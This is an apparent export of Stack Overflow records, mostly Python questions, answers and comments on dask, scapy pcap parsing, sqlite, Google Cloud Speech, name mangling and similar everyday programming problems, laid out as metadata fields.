has body: This is a follow up question to Shuffling data in dask. I have an existing dask dataframe df where I wish to do the following: df['rand_index'] = np.random.permutation(len(df)) However, this gives the error, Column assignment doesn't support type ndarray. I tried to use df.assign(rand_index = np.random.permutation(len(df)) which gives the same error. Here is a minimal (not) working sample: import pandas as pd import dask.dataframe as dd import numpy as np df = dd.from_pandas(pd.DataFrame({'A':[1,2,3]*10, 'B':[3,2,1]*10}), npartitions=10) df['rand_index'] = np.random.permutation(len(df)) Note: The previous question mentioned using df = df.map_partitions(add_random_column_to_pandas_dataframe, ...) but I'm not sure if that is relevant to this particular case. Edit 1 I attempted df['rand_index'] = dd.from_array(np.random.permutation(len_df)) which, executed without an issue. When I inspected df.head() it seems that the new column was created just fine. However, when I look at df.tail() the rand_index is a bunch of NaNs. In fact just to confirm I checked df.rand_index.max().compute() which turned out to be smaller than len(df)-1. So this is probably where df.map_partitions comes into play as I suspect this is an issue with dask being partitioned. In my particular case I have 80 partitions (not referring to the sample case).
has title: Appending new column to dask dataframe
score: 8
upvote count: 8
type: Question
tagged with: dask
linked to: http://stackoverflow.com/q/46842155
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/46951629
favorite count: 0
has answer: http://stackoverflow.com/a/55139369
answer count: 3
downvote count: 0

http://stackoverflow.com/comment/80817904
type: AnswerComment
has text: I will give it a try. Thanks.
comment on: http://stackoverflow.com/a/46934629
type: Comment
score: 0

http://stackoverflow.com/q/46957536
has comment: http://stackoverflow.com/comment/80862612
answer count: 1
downvote count: 0
accepted answer: http://stackoverflow.com/a/46957678
upvote count: 1
has answer: http://stackoverflow.com/a/46957678
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80862573
score: 1
has body: I am new to python programming and I am trying to apply the concepts I learned recently. I am reading other's code and found an example and tweaked it little bit as seen below. The problem is when the current time equals the wake time, the elif block never gets triggered. I have tested that in a small if-else statement, it works fine but never gets triggered inside the while loop. Please advise. import time import subprocess wake_hour = int(raw_input("Wake hour: ")) wake_minute = int(raw_input("Wake minute: ")) wake_time = [wake_hour, wake_minute] current_hour = int(time.strftime("%H")) current_minute = int(time.strftime("%M")) current_time = [current_hour, current_minute] while True: if current_time != wake_time: current_hour = int(time.strftime("%H")) current_minute = int(time.strftime("%M")) print current_hour, current_minute print wake_hour, wake_minute elif current_time == wake_time: audio_file = "/Users/dcasteli/Documents/emergency018.mp3" play = subprocess.call(["afplay", audio_file]) print "Wake up!"
tagged with: python
favorite count: 0
type: Question
tagged with: time
has title: python-alarm clock suggestions

http://stackoverflow.com/q/46984911
tagged with: gcloud
has body: I have spent about 3 days on this same problem. Essentially, I am trying to use google cloud speech api to do a rough transcription of my audio file, located at gs://architecture-transcript-1/architecture.flac The file was previously a m4a, but I converted it to a flac file and it has a sample rate of 44100hz and lasts 1 hour 18 minutes. I am running Python 3.5 and am using the command prompt. The tutorial, I have been using can be found here: https://github.com/GoogleCloudPlatform/python-docs-samples/blob/master/speech/cloud-client/README.rst I have done all of the steps in the tutorial, which includes installing pip, and vitual env, installing the dependencies, and then simply using the command created, "transcribe_async.py ". In the command prompt this looks like: :\&gt; virtualenv env :\&gt; virtualenv env/bin/activate :\&gt; cd C:\python-docs-samples-master\speech\cloud-client C:\python-docs-samples-master\speech\cloud-client&gt; pip install -r requirements.txt C:\python-docs-samples-master\speech\cloud-client&gt; python transcribe_async.py gs://architecture-transcript-1/architecture.flac Prior to doing this, I went into the transcribe_async.py file to make sure my encoding and file format matched. After running it, it says waiting for operation to complete... and then get this final error: File "transcribe_async.py", line 96, in &lt;module&gt; transcribe_gcs(args.path) File "transcribe_async.py", line 79, in transcribe_gcs response = operation.result(timeout=90) File "C:\Users\George\Anaconda3\lib\site-packages\google\gax\__init__.py", line 595, in result if not self._poll(timeout).HasField('response'): File "C:\Users\George\Anaconda3\lib\site-packages\google\gax\__init__.py", line 705, in _poll return retryable_done_check() File "C:\Users\George\Anaconda3\lib\site-packages\google\gax\retry.py", line 143, in inner raise exc google.gax.errors.RetryError: RetryError(Retry total timeout exceeded with exception, caused by Deadline Exceeded) The main error seems to…
has answer: http://stackoverflow.com/a/46989422
possible better answer: http://stackoverflow.com/a/46989422
type: Question
answer count: 2
tagged with: google-cloud-speech
downvote count: 0
upvote count: 1
tagged with: python
favorite count: 0
has title: Cloud Asynchronous Speech Recognition Error with Python on terminal
has answer: http://stackoverflow.com/a/46988333
accepted answer: http://stackoverflow.com/a/46988333
type: AnsweredQuestion
score: 1

http://stackoverflow.com/comment/126183525
comment on: http://stackoverflow.com/a/71334573
type: AnswerComment
has text: This does not provide an answer to the question. Once you have sufficient [reputation](https://stackoverflow.com/help/whats-reputation) you will be able to [comment on any post](https://stackoverflow.com/help/privileges/comment); instead, [provide answers that don't require clarification from the asker](https://meta.stackexchange.com/questions/214173/why-do-i-need-50-reputation-to-comment-what-can-i-do-instead). - [From Review](/review/late-answers/31202391)
score: 0
type: Comment

http://stackoverflow.com/comment/80965648
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47009579
type: AnswerComment
has text: No, I am using python2.

http://stackoverflow.com/comment/80863902
type: QuestionComment
comment on: http://stackoverflow.com/q/46957683
has text: just for one-hot Encoding
score: 0
type: Comment

http://stackoverflow.com/comment/80833524
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46931323
has text: question updated with example

http://stackoverflow.com/comment/80995690
comment on: http://stackoverflow.com/a/47018507
score: 0
has text: This works well! I had come up with a similar solution creating a lookup table with an apply(lambda x:...). Then merging like you. I think your use of melt is probably more efficient so I will try. Thanks!
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/80957283
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46997493
score: 0
has text: One possibility is that ``before_for_request`` is actually per thread in a multi threaded process and not per process. Could log ``threading.current_thread().ident()`` to see if changes for same process each time it occurs.

http://stackoverflow.com/comment/81084469
score: 0
comment on: http://stackoverflow.com/q/47062808
type: Comment
type: QuestionComment
has text: How are you implementing `wait of 30 seconds`?

http://stackoverflow.com/a/53851786
upvote count: 1
answers question: http://stackoverflow.com/q/46991372
type: Answer
has body: You mostly had it but the there was a mix up with your variable names so I renamed the first packet to packets and p to packet in the for statement, also the return statement was incorrect - you needed a continue. It's useful to know that one can use 'HTTPRequest' interchangeably with scapy_http.http.HTTPRequest in the get/haslayer() calls. Here's a fixed version: packets = rdpcap('lo.pcap') for packet in packets: if not packet.haslayer('HTTPRequest'): continue http_layer= packet.getlayer('HTTPRequest').fields ip_layer = packet.getlayer('IP').fields print('\n{0[src]} just requested a {1[Method]} {1[Host]}{1[Path]}'.format(ip_layer,http_layer)) Update: Scapy now has built-in support for handling HTTP sessions (the scapy_http package is now deprecated). Though they're not actually needed for extracting HTTP Requests for this application (so you can omit the session=TCPSession) but can be useful for extracting multipacket responses. So this can be more simply (though one now needs to decode/convert the bytes to strings): from scapy.layers.http import HTTPRequest from scapy.all import * sniff(offline='lo.pcap', session=TCPSession, prn=lambda x: f'{x[IP].src} just requested a {x[HTTPRequest].Method.decode("utf-8")} {x[HTTPRequest].Host.decode("utf-8")}{x[HTTPRequest].Path.decode("utf-8")}' if x.haslayer(HTTPRequest) else None)
score: 1
downvote count: 0

http://stackoverflow.com/q/46991650
has answer: http://stackoverflow.com/a/46991686
favorite count: 0
type: Question
possible better answer: http://stackoverflow.com/a/46992298
has body: How can I remove the single quotes from the following so it can be recognized as a list of one dictionary object as apposed to a list of one string object? Given that it is a list, I cannot use pd.replace. ['{"PLAYER":"Player Name","SALARY":"0000.00","OPP":"CI","POS":"BR","TEAM":"IT","SCHEDULE_ID":"40623","PLAYERID":"12322","GP":"5","TAR":"64","RZTAR":"6","POW TAR":"32.99%","WEEK 2":"11","WEEK 3":"14","WEEK 4":"9","WEEK 5":"19","ARDS":"545","YPT":"8.52","REC":"40","REC RATE":"62.50%"}']
accepted answer: http://stackoverflow.com/a/46991686
has answer: http://stackoverflow.com/a/46992298
has comment: http://stackoverflow.com/comment/80976844
has title: Remove quotes from list of dictionaries in python
tagged with: python
tagged with: dictionary
tagged with: replace
type: AnsweredQuestion
score: 3
has comment: http://stackoverflow.com/comment/80930012
tagged with: list
answer count: 2
upvote count: 3
downvote count: 0

http://stackoverflow.com/comment/80810903
type: AnswerComment
comment on: http://stackoverflow.com/a/46928690
has text: Ok, I know path of models. I wanted to see code in models. Did you try to import Goods from django shell? That is my way to check/debug imports in my projects.
type: Comment
score: 0

http://stackoverflow.com/a/47021736
answers question: http://stackoverflow.com/q/46941747
downvote count: 0
has comment: http://stackoverflow.com/comment/80993679
type: AcceptedAnswer
has body: As @Tarun Wadhwa said, tensorflow doesn't allow tensors of size > 2 GB on a single device. Your tensor is of size (19 x 10^9 entries) x 4 bytes = 78 GB if you're using dtype='tf.float32'. Firstly, you can try using 'tf.float16'. This would halve the size of your tensor on RAM. (It will also add some noise to the weights which will provide a regularizing effect--which is a good thing). You can also try upping your stride parameter in convolutional layers. But you still won't meet the 2 GB allowable limit. In which case, you should distribute your computational graph across multiple GPUs and train the model there. You'll have to re-structure your code by using with tf.device statements which is a whole new ballgame. AWS provides 8 and 16 GPU p2 instances on its EC2. Why do you need to work with such humongous tensors?
accepted answer of: http://stackoverflow.com/q/46941747
type: Answer
score: 11
upvote count: 11

http://stackoverflow.com/q/47049378
upvote count: 2
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47049452
tagged with: django
tagged with: python
score: 2
has comment: http://stackoverflow.com/comment/81187807
tagged with: http://stackoverflow.com/tag/html
answer count: 1
downvote count: 0
has body: i have a sentiment analysis python script, but I want to make it runs in html and get the input form from html page, and the shows the result back in html page. I already use a django framework to run html page. But i don't know how to connect it with python script I have. this is my python script query = input("query? \n") number = input("number of tweets? \n") results = api.search( lang="en", q=query + " -rt", count=number, result_type="recent" ) print("--- Gathered Tweets \n") ## open a csv file to store the Tweets and their sentiment file_name = 'Sentiment_Analysis_of_{}_Tweets_About_{}.csv'.format(number, query) with open(file_name, 'w', newline='') as csvfile: csv_writer = csv.DictWriter( f=csvfile, fieldnames=["Tweet", "Sentiment"] ) csv_writer.writeheader() print("--- Opened a CSV file to store the results of your sentiment analysis... \n") ## tidy up the Tweets and send each to the AYLIEN Text API for c, result in enumerate(results, start=1): tweet = result.text tidy_tweet = tweet.strip().encode('ascii', 'ignore') if len(tweet) == 0: print('Empty Tweet') continue response = client.Sentiment({'text': tidy_tweet}) csv_writer.writerow({ 'Tweet': response['text'], 'Sentiment': response['polarity'] }) print("Analyzed Tweet {}".format(c)) ## count the data in the Sentiment column of the CSV file with open(file_name, 'r') as data: counter = Counter() for row in csv.DictReader(data): counter[row['Sentiment']] += 1 positive = counter['positive'] negative = counter['negative'] neutral = counter['neutral'] ## declare the variables for the pie chart, using the Counter variables for "sizes" colors = ['limegreen', 'dodgerblue', 'darkorchid'] sizes = [positive, negative, neutral] labels = 'Positif', 'Negatif', 'Netral' explode = (0.1, 0, 0) ## use matplotlib to plot the chart plt.pie( x=sizes, shadow=False, colors=colors, labels=labels, startangle=90, explode=explode ) plt.axis('equal') plt.title("Sentiment of {} Tweets about {}".format(number, query)) plt.show()
favorite count: 0
type: Question
has title: How to run python script in html using django and get variable from html input form

http://stackoverflow.com/comment/80869187
score: 0
has text: try changing the name of the `date` column. It's probably a reserved word though I'm surprised it didn't complain when you created the table in the first place.
comment on: http://stackoverflow.com/q/46960838
type: Comment
type: QuestionComment

http://stackoverflow.com/a/46967437
answers question: http://stackoverflow.com/q/46967126
upvote count: 1
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/46967126
downvote count: 0
has body: Found one does the same thing as scikit-learn. There is L2Norm, L1Norm, SSRNorm implementation, it's such a long time that did not use statistics.....
score: 1
type: Answer

http://stackoverflow.com/comment/80895554
comment on: http://stackoverflow.com/q/46974054
has text: I don't know that you'd ever want to handle this with a dictionary, but filesystems are often self-referential in this way. The `.` and `..` files in each directory refer to the directory itself, and to its parent, respectively.
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/a/47004658
answers question: http://stackoverflow.com/q/47004273
accepted answer of: http://stackoverflow.com/q/47004273
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has body: Your approach works fine! If you want to get the RGB value as well for that pixel location, you can try imRGB[pixel]. However, it is faster to just use two python loops to iterate over the axes. I have timed both methods as follows: import numpy as np import time random_data = np.random.random_sample((900, 1600, 3)) imRGB = np.round(256 * random_data) start = time.time() for pixel in np.ndindex(imRGB.shape[:2]): x, y = pixel rgb = imRGB[pixel] end = time.time() print(end - start) start = time.time() for x in xrange(imRGB.shape[0]): for y in xrange(imRGB.shape[1]): x, y, imRGB[x, y] end = time.time() print(end - start) The first method took 1.29 seconds on my laptop, while the second took 0.53 seconds. Depending on what you want to do within the loop, there could be other numpy-specific operations that could be faster that writing out loops. Hope this helps!
score: 1
type: Answer

http://stackoverflow.com/q/46989356
type: UnansweredQuestion
has body: I would like to "Add primary or foreign key" to table made using to_sql of Python dataframe. Here is some of my Python code. This causes "sqlite3.OperationalError: no such table: is_year_002620" But I checked is_year_002620 table created. I have no idea why this isn't working. How can I "add primary key" to table made by to_sql? for i in range(startrow, endrow): if df is not None: table_name = 'is_year_' + code #code is variable of 6 digit number and its number is about 1,800 df.to_sql(table_name, conn, if_exists='append', index=False) conn.cursor().execute("""ALTER TABLE" %s "ADD PRIMARY KEY (code)""" %(table_name))
has title: How can I add primary/foreign key to table made by to_sql?
tagged with: python
score: 2
has comment: http://stackoverflow.com/comment/80942520
has comment: http://stackoverflow.com/comment/80925772
has comment: http://stackoverflow.com/comment/80925762
answer count: 0
linked to: http://stackoverflow.com/q/946011
has comment: http://stackoverflow.com/comment/80925801
tagged with: sqlite
downvote count: 0
favorite count: 0
type: Question
upvote count: 2

http://stackoverflow.com/comment/80903819
comment on: http://stackoverflow.com/a/46956293
type: Comment
score: 0
type: AnswerComment
has text: What if I want to use an existed instance to run the script instead of creating a new instance?

http://stackoverflow.com/comment/80969127
type: Comment
has text: Possible duplicate of [Is there a simple way to delete a list element by value?](https://stackoverflow.com/questions/2793324/is-there-a-simple-way-to-delete-a-list-element-by-value)
type: QuestionComment
comment on: http://stackoverflow.com/q/47011299
score: 0

global
type: Tag
tags question: http://stackoverflow.com/q/46990926
tags question: http://stackoverflow.com/q/46981834
tags question: http://stackoverflow.com/q/47043624
tag name: global

http://stackoverflow.com/q/46966159
has answer: http://stackoverflow.com/a/46966230
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/46966229
has title: How do you sort each character in a .txt file?
answer count: 3
has answer: http://stackoverflow.com/a/46966229
score: 0
has body: For example, if a .txt file consists: car and day I want to make them in alphabet order: acr adn ady Here's what I have in my code right now: def read_file(fileName): list = [] with open(fileName) as f: list = f.read().split() list.sort() return list It just won't sort the way I want, do I need a nested for loop?
type: Question
tagged with: python
possible better answer: http://stackoverflow.com/a/46966230
has comment: http://stackoverflow.com/comment/80880208
has answer: http://stackoverflow.com/a/46966253
has comment: http://stackoverflow.com/comment/80880030

http://stackoverflow.com/comment/80991574
type: AnswerComment
comment on: http://stackoverflow.com/a/47021880
score: 1
has text: How can I put another field translations? translations2 = another_base_class_translation.
type: Comment

http://stackoverflow.com/a/46972414
upvote count: 2
downvote count: 0
type: AcceptedAnswer
has body: You need to set the fallback_url on your pypi server to an https URL because pypi.python.org now only allows https requests. See this link (python mailing list) for more information.
has comment: http://stackoverflow.com/comment/80893061
accepted answer of: http://stackoverflow.com/q/46968959
has comment: http://stackoverflow.com/comment/80892191
type: Answer
answers question: http://stackoverflow.com/q/46968959
score: 2

http://stackoverflow.com/q/46966083
answer count: 1
has answer: http://stackoverflow.com/a/46966103
has comment: http://stackoverflow.com/comment/80879759
downvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80880031
has title: How do I convert a JSON file to a CSV file in python?
has comment: http://stackoverflow.com/comment/80879864
has body: I apologize for the large JSON file. I want to be able to create a csv file that extracts each link (under embedLink), the tags, and the rank. However, each of my attempts have come up short. This is the code that I currently have; however, it outputs multiple errors. json.decoder.JSONDecodeError: Expecting property name enclosed in double quotes: line 1 column 2 (char 1) import json, csv x="""{u'results': [{u'index': 4367, u'content_data': {u'embedLink': u'http://media.giphy.com/media/MazO89pt5NljG/giphy.gif', u'tags': [u'dance', u'silly', u'carlton', u'banks', u'fresh prince'], u'added_with_admin': True, u'dateAdded': 1394519920.03, u'still_image': u'http://media.giphy.com/media/MazO89pt5NljG/200_s.gif'}, u'parameters': {u'mu': 38.367645789902205, u'sigma': 2.184739493694442}, u'cID': u'f10e5808d396e2e4ba0ab48c', u'rank': 0, u'content': u'MazO89pt5NljG', u'content_type': u'gif'}, {u'index': 370, u'content_data': {u'embedLink': u'http://media1.giphy.com/media/HscrwGNPHio2A/giphy.gif', u'tags': [u'excitedexcited', u'jeremy renner'], u'added_with_admin': False, u'dateAdded': 1393863494.644655, u'still_image': u'http://media.giphy.com/media/HscrwGNPHio2A/200_s.gif'}, u'parameters': {u'mu': 37.24778379219212, u'sigma': 1.5847716442668915}, u'cID': u'5314ab46d34b6c5b402aeb39', u'rank': 1, u'content': u'HscrwGNPHio2A', u'content_type': u'gif'}, {u'index': 287, u'content_data': {u'embedLink': u'http://media2.giphy.com/media/CCJnMBqEYxxEk/giphy.gif', u'tags': [u'tv', u'happy', u'30 rock', u'tina fey', u'high five', u'liz lemon', u'celebration'], u'added_with_admin': False, u'dateAdded': 1393863490.821621, u'still_image': u'http://media.giphy.com/media/CCJnMBqEYxxEk/200_s.gif'}, u'parameters': {u'mu': 36.59521670234331, u'sigma': 1.681281739841269}, u'cID': u'5314ab42d34b6c5b402aeae6', u'rank': 2, u'content': u'CCJnMBqEYxxEk', u'content_type': u'gif'}, {u'index': 2681, u'content_data': {u'embedLink': u'http://media.giphy.com/media/Mn0C1r0qL7XWg/giphy.gif', u'tags': [u'funny…
type: UnansweredQuestion
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/80880043
has comment: http://stackoverflow.com/comment/80879852
tagged with: http://stackoverflow.com/tag/csv
upvote count: 0
tagged with: http://stackoverflow.com/tag/json

http://stackoverflow.com/q/46985544
has title: Python Scraper creates ValueError fault when scraping more than 2 cells in sheet
favorite count: 0
has body: Edit 1 I have found where the error seems to be occuring, but not sure what is causing the break. Text from cell 1 = 1 2 FUGE ST HIGHETT VIC 3190 returns https://www.realestate.com.au/property-unit-vic-highett-126564142 Text from cell 2 = 1 18 FERNCROFT AVE MALVERN EAST VIC 3145 which causes a break in the code. The only difference in the two entries, is the second one has 8 strings instead of 7, I tested this across a huge range of addresses, if it has 7 it works, if it has 8 - it fails. Can anyone see in the below code what would be causing a string count to cause errors like this? and is there a way to add an exception? It's got me pulling my hair out now. End Edit 1 I have a weird error occurring when running a scraper that will scrape 3 records from an excel sheet, but errors out on anything above 3 rows. It's a bit of a head scratcher, as i have tried changing the data in the 2 cells to different URL's and its always the same - if there are 2 cells or less it will scrape and close successfully - if there are 2 plus rows - it will stop on the 3rd cell and error out with the following error File "C:\Python27\projects\REA_UN\REA_UNIQUEID\2.py", line 32, in &lt;module&gt; (Unique_ID,) = (x for x in tree.xpath('//a[@class="property-value__link-- muted rui-button-brand property-value__btn-listing"]/@href')) ValueError: need more than 0 values to unpack I have tried the following: -Checked 20 different URL's to see if there is a variable in the source -Rebuilt code line by line to see if there is anything glitchy -Removed the Panda modifier and run straight from reading Nothing has worked and is constantly throwing out the same error - this leads me to believe there is something up with how it is reading the list itself, but not 100% sure on that.... For test purposes this is what is in the excel sheet 1 10 OAK ST PASCOE VALE VIC 3044 1 1149 NEPEAN HWY HIGHETT VIC 3190 1 10 OAK ST PASCOE VALE VIC 3044 1 1149 NEPEAN HWY HIGHETT VIC 3190 1 10 OAK ST PASCOE VALE VIC 304…
type: Question
answer count: 0
type: UnansweredQuestion
upvote count: 1
tagged with: python
downvote count: 0
score: 1
tagged with: web-scraping

http://stackoverflow.com/q/47005216
score: -2
has comment: http://stackoverflow.com/comment/80956998
has body: I made the following code but realized there is an error in it that prevents me from successfully finishing the rest of my codes. the code is: def isvalid(userg, valid_c, size): '''(list, str, int) -&gt; bool Given userg, a list of single character strings; valid_ch, a string; and size, an int; return True if every character in user_guess list is in valid_characters and if user_guess is of length guess_size. Return False otherwise. &gt;&gt;&gt;isvalid(['A', 'B', 'C'], 'ABCDE', 3) True &gt;&gt;&gt;isvalid(['Y', 'G', 'O', 'B'], 'YGOBPR', 4) True &gt;&gt;&gt;isvalid(['X', 'G', 'O', 'B'], 'YGOBPR', 4) False &gt;&gt;&gt;isvalid(['Y', 'G', 'O', 'B'], 'YGOBPR', 5) False &gt;&gt;&gt;valid(['Y', 'G', 'O'], 'GOBPR', 4) False ''' for char in userg: if len(userg) == size and char in valid_c: return True else: return False However, it only works to return False if the very first letter in userg is not in valid_c. For example, isvalid(['Y', 'K', 'O', 'B'], 'YGOBPR', 4) returns true because while 'K' is not in valid_c, it is not in the first position (where the Y is) so it does not recognize it as being wrong/false. If I had isvalid(['K', 'Y', 'O', 'B'], 'YGOBPR', 4) then it would recognize it as False because K is first. Can anyone help me with this please? I tried other things but they did not work. Thanks!
upvote count: 0
type: UnansweredQuestion
downvote count: 2
answer count: 1
has comment: http://stackoverflow.com/comment/80956951
favorite count: 0
type: Question
tagged with: python-3.x
has title: Only first letter detecting as false, not others, how can all be looked at?
has answer: http://stackoverflow.com/a/47005299
tagged with: python

http://stackoverflow.com/q/47019802
has answer: http://stackoverflow.com/a/47019987
answer count: 2
has answer: http://stackoverflow.com/a/47019917
type: UnansweredQuestion
downvote count: 0
tagged with: python
tagged with: inheritance
has title: Inheriting class attribute with double underscore
has comment: http://stackoverflow.com/comment/80986413
score: 3
has body: I think I understand the concept of "name mangling" in python, but there's something that I probably missed. Take a look at the following code: #!/usr/bin/env python class Base(object): __data = "Base" @classmethod def func(cls): return "Class name is {}, data is {}".format(cls.__name__, cls.__data) class A(Base): __data = "A" class B(A): __data = "B" print Base.func() print A.func() print B.func() Here the output I get: Class name is Base, data is Base Class name is A, data is Base Class name is B, data is Base Now, I understand that for each class the actual name of the class attribute is mangled to _&lt;Class name&gt;__data. So for instance, for Base it would be _Base__data, for A it would be _A__data, etc. My question is, inside func it identifies correctly the names of the inherited classes (Base, A and B), but cls.__data always leads to cls._Base__data. Why is that? I mean, if __name__ is A or B, then I know I'm inside class A or B, so I expect cls.__data to be the one of A or B respectively. What am I missing here?
upvote count: 3
favorite count: 0
type: Question

http://stackoverflow.com/a/46982908
type: Answer
score: 0
has body: Window -> Preferences -> PyDev -> Editor -> Code Analysis -> Undefined -> Undefined Variables From Import -> Ignore Then try to close and reopen eclipse again. Hope it helped.
answers question: http://stackoverflow.com/q/46981396

http://stackoverflow.com/q/46994144
tagged with: subprocess
has title: 'git' is not recognized as an internal or external command, operable program or batch file even after adding to PATH
has body: I am a beginner in python. I have written the following python code: import subprocess PIPE = subprocess.PIPE process = subprocess.Popen(['git', 'status'], stdout=PIPE, stderr=PIPE, cwd='my\git-repo\path',shell=True) stdout_str, stderr_str = process.communicate() print (stdout_str) print (stderr_str) Upon execution of the python script, I get the following output: b'' b'"git" is not recognized as an internal or external command,\r\noperable program or batch file.\r\n' I have added '..../git/bin' to my PATH variable, and since then git commands run fine in cmd.exe. Since 'shell=True', I thought this would run too. I can't seem to get a hold of the issue. Help appreciated.
downvote count: 1
has comment: http://stackoverflow.com/comment/95207828
tagged with: git
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/63811710
upvote count: 5
has comment: http://stackoverflow.com/comment/80935325
accepted answer: http://stackoverflow.com/a/63811710
linked to: http://stackoverflow.com/q/4492979
has answer: http://stackoverflow.com/a/46994212
tagged with: python
possible better answer: http://stackoverflow.com/a/46994212
score: 4
has comment: http://stackoverflow.com/comment/80934829
type: AnsweredQuestion
answer count: 2

http://stackoverflow.com/a/47044661
downvote count: 0
upvote count: 1
score: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81037809
answers question: http://stackoverflow.com/q/47044635
has comment: http://stackoverflow.com/comment/81037805
type: Answer
has body: You can use re.findall: import re s = """ 20:52:37 - 3 20:52:38 - 8 20:52:39 - 28 20:52:40 - 58 20:52:41 - 59 .... """ data = map(int, re.findall('(?&lt;=\s-\s)\d+', s)) Output: [3, 8, 28, 58, 59...]
accepted answer of: http://stackoverflow.com/q/47044635

http://stackoverflow.com/a/46916838
has body: The method in 2) is quite stable numerically. Most likely, the error is produced from some other line. See these examples (all work without error): def softmax(x): e_x = np.exp(x - np.max(x)) return e_x / e_x.sum() print softmax(np.array([0, 0, 0, 0])) print softmax(np.array([1000, 2000, 3000, 6000])) print softmax(np.array([2000, 4000, 5000, 6000])) print softmax(np.array([1000, 2000, 3000, 6000])) print softmax(np.array([2000, 2000, 2001, 2000])) print softmax(np.array([1, 2, 2, 600000])) print softmax(np.array([1, 2, 2, 60000000])) print softmax(np.array([1, 2, 2, -60000000])) Your alternative implementation makes all values closer to 0, which squashes the probabilities. For example: def alternative_softmax(x): mean = np.mean(x) std = np.std(x) norm = (x - mean) / std e_x = np.exp(norm) return e_x / e_x.sum(axis=0) print softmax(np.array([1, 2, 2, 6000])) print softmax(np.array([2, 5, 5, 3])) print softmax(np.array([3, 5, 2, 1])) print batch = np.asarray([[1, 2, 2, 6000], [2, 5, 5, 3], [3, 5, 2, 1]]) print alternative_softmax(batch) The output is: [ 0. 0. 0. 1.] [ 0.02278457 0.45764028 0.45764028 0.06193488] [ 0.11245721 0.83095266 0.0413707 0.01521943] [[ 0.33313225 0.33293125 0.33313217 0.94909178] [ 0.33333329 0.33353437 0.33373566 0.02546947] [ 0.33353446 0.33353437 0.33313217 0.02543875]] As you can see, the outputs are very different, and the rows don't even sum up to one.
has comment: http://stackoverflow.com/comment/80784984
answers question: http://stackoverflow.com/q/46916446
type: Answer
score: 2
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/80784237

http://stackoverflow.com/comment/80878739
score: 0
comment on: http://stackoverflow.com/q/46965325
type: QuestionComment
type: Comment
has text: @juanpa.arrivillaga: Saying "that's 15" is very misleading. It's going to have errors that conversion to `Decimal` is revealing here; the precision of a floating point number is in binary, not decimal, there are a whole host of numbers with very little in the way of decimal digits that it cannot represent accurately,even if it's willing to pretend it have 15 places of precision.

http://stackoverflow.com/a/47003602
accepted answer of: http://stackoverflow.com/q/47003572
downvote count: 0
answers question: http://stackoverflow.com/q/47003572
score: 1
type: Answer
upvote count: 1
type: AcceptedAnswer
has body: Create a different list for each nested list of dicts and append to the parent list. The empty list gets zero iterations so the resulting list stays empty, while the others have their values collected in the list comprehension: list_of_values = [] for lst in list_of_lists: list_of_values.append([dct['text'] for dct in lst]) print(list_of_values) # [[], ['analytics', 'datascience', 'restaurants', 'machinelearning', 'bigData', 'CRM'], ['python', 'datascience']]

http://stackoverflow.com/comment/80835190
score: 0
has text: Thankssss John my code works now.
type: Comment
comment on: http://stackoverflow.com/q/46943563
type: QuestionComment

http://stackoverflow.com/comment/80774825
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46913651
has text: @jasonharper lol... 'str' object has no attribute 'decode'. And `encode()` just replaces line breaks with `\n`.
score: 0

http://stackoverflow.com/q/46990350
upvote count: 1
has title: Which Classifier would increase accuracy for text classification
has comment: http://stackoverflow.com/comment/80939010
favorite count: 0
type: Question
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80941613
tagged with: python
score: -1
has body: I have used the following code to classify. I am getting variable accuracy 55% to 60% . I want to improve my accuracy up to 85%-90% .I am classifying into 8 different categories. What Steps I should take to improve accuracy. import pandas as pd import numpy as np from sklearn.feature_extraction.text import CountVectorizer from sklearn.feature_extraction.text import TfidfTransformer from sklearn.linear_model import SGDClassifier from sklearn.pipeline import Pipeline from nltk import word_tokenize from textblob import TextBlob cov = pd.read_csv("F:/kipro/ml/dataset.csv", names = ["Complaint", "target"]) cov.dropna() s=pd.factorize(cov['target']) cov['tarname']=s[0] msk = np.random.rand(len(cov)) &lt; 0.8 train = cov[msk] test = cov[~msk] train.dropna() test.dropna() y_train, y_test = train.tarname, test.tarname def tokens(message): return TextBlob(message).words def lemmas(message): message=message.lower() words = TextBlob(message).words return [word.lemma for word in words] text_clf = Pipeline([('vect', CountVectorizer(analyzer=lemmas)), ('tfidf', TfidfTransformer()), ('clf-svm', SGDClassifier()) ,]) text_clf = text_clf.fit(train['Complaint'].values.astype('U'),train['tarname']) predicted = text_clf.predict(test['Complaint'].values.astype('U')) x=np.mean(( y_test==predicted))*100 print(x) Here is my screenshot of dataset enter image description here
has comment: http://stackoverflow.com/comment/80927834
answer count: 2
tagged with: classification
downvote count: 2
has answer: http://stackoverflow.com/a/51709763
has answer: http://stackoverflow.com/a/46990373
tagged with: machine-learning

coding-style
type: Tag
tag name: coding-style
tags question: http://stackoverflow.com/q/46914572

http://stackoverflow.com/comment/98705849
comment on: http://stackoverflow.com/a/47024853
type: Comment
score: 2
type: AnswerComment
has text: [Autoscaling has been removed as of celery 4.0](https://github.com/celery/celery/issues/4003)

http://stackoverflow.com/comment/81018332
score: 0
has text: Do you know how to pass it ? @DanielRoseman
comment on: http://stackoverflow.com/q/47035943
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/80796430
comment on: http://stackoverflow.com/q/46924740
score: 0
type: Comment
has text: No problem. what do you mean by record?
type: QuestionComment

http://stackoverflow.com/q/46966334
has comment: http://stackoverflow.com/comment/80880929
answer count: 0
tagged with: python
type: UnansweredQuestion
has title: How to create best json output from mix data structures
score: 0
tagged with: http://stackoverflow.com/tag/json
